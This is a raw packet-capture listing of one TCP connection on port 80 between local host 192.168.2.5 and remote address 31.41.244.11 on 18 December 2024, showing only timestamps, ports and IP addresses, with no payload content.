Dec 18, 2024 19:08:38.535476923 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.535510063 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.535558939 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.537724972 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.537772894 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.537934065 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.537976027 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.539992094 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.540045977 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.540071964 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.540118933 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.542288065 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.542334080 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.542393923 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.542440891 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.544579983 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.544631958 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.544703007 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.544753075 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.547017097 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.547080040 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.547111988 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.547157049 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.549154997 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.549236059 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.549273968 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.549313068 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.551424980 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.551491022 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.551553011 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.551606894 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.553703070 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.553761005 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.553913116 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.553957939 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.556117058 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.556169033 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.556325912 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.556374073 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.558626890 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.558685064 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.558721066 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.558765888 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.560627937 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.560688972 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.560900927 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.560945034 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.628465891 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.628669024 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.628730059 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.628833055 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.628988981 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.630989075 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.631069899 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.631092072 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.631165028 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.633246899 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.633364916 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.633394957 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.633459091 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.635437965 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.635504961 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.635545969 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.635631084 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.637088060 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.637156010 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.637188911 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.637240887 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.639013052 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.639101028 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.639134884 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.639192104 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.640189886 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.640281916 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.640321970 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.640373945 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.641349077 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.641412973 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.641436100 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.641479015 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.642482042 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.642539024 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.642570972 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.642625093 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.643464088 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.643534899 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.643615961 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.643672943 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.644642115 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.644695997 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.644711018 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.644758940 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.645787001 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.645847082 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.645931959 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.645978928 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.646960020 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.647027016 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.647119045 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.647171021 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.648139000 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.648199081 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.648272038 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.648332119 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.649322033 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.649378061 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.649404049 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.649621964 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.650474072 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.650546074 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.650549889 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.650628090 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.651655912 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.651722908 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.651725054 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.651772022 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.652862072 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.652921915 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.653080940 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.653146982 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.653994083 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.654053926 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.654090881 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.654148102 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.655173063 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.655231953 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.655448914 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.655507088 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.656558990 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.656615973 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.656821966 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.656884909 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.657828093 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.657890081 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.658379078 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.658426046 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.658454895 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.658498049 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.659339905 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.659399986 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.659420967 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.659471989 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.660444975 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.660506010 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.660531044 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.660583019 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.661667109 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.661722898 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.661731005 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.661773920 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.662818909 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.662874937 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.662938118 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.662998915 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.663947105 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.664005041 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.664027929 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.664081097 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.665118933 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.665168047 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.665230036 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.665286064 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.666306973 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.666371107 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.666522980 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.666569948 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.667490005 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.667551994 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.667603016 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.667646885 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.668648005 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.668693066 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.668766022 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.668826103 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.669872999 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.669926882 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.670120955 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.670161963 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.671243906 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.671287060 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.671376944 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.671428919 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.672334909 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.672399998 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.672465086 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.672518969 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.673588037 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.673636913 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.673701048 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.673743010 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.674525976 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.674595118 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.674640894 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.674693108 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.675740004 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.675791025 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.675930977 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.675972939 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.676887035 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.676956892 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.676985979 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.677032948 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.678049088 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.678096056 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.678335905 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.678389072 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.679270029 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.679320097 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.679369926 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.679423094 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.680407047 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.680459976 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.680538893 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.680594921 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.681809902 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.681865931 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.681866884 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.681912899 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.682977915 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.683041096 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.683103085 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.683157921 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.683904886 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.683960915 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.684041023 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.684087992 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.685108900 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.685168982 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.685240030 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.685298920 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.686259031 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.686322927 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.686351061 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.686398983 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.687447071 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.687491894 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.687593937 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.687640905 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.688625097 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.688676119 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.688757896 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.688807964 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.689779997 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.689832926 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.689920902 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.689964056 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.691004992 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.691059113 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.691083908 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.691126108 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.692110062 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.692153931 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.692246914 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.692291021 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.693325043 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.693380117 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.693526983 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.693567991 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.694614887 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.694670916 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.694672108 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.694714069 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.695653915 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.695724964 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.695837021 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.695892096 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.696825981 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.696877003 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.696937084 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.696980953 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.697992086 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.698038101 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.698127985 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.698188066 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.748485088 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.748579025 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.748588085 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.748593092 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.748644114 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.748909950 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.748961926 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.749643087 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.749695063 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.749752045 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.749794960 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.751004934 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.751051903 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.751085043 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.751131058 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.752019882 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.752068996 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.752104998 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.752162933 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.753171921 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.753222942 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.753282070 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.753328085 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.754422903 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.754487038 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.754554033 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.754600048 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.755589962 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.755600929 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.755634069 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.755662918 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.756741047 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.756786108 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.756872892 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.756922007 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.757869959 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.757916927 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.757981062 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.758022070 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.759037971 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.759095907 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.759155989 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.759202003 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.760370970 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.760423899 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.760446072 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.760505915 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.761352062 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.761392117 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.761452913 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.761496067 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.762727976 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.762780905 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.762830019 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.762880087 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.763809919 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.763855934 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.763921976 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.763962984 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.764967918 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.765052080 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.765221119 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.766100883 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.766159058 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.766180038 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.766235113 CET	49730	80	192.168.2.5	31.41.244.11
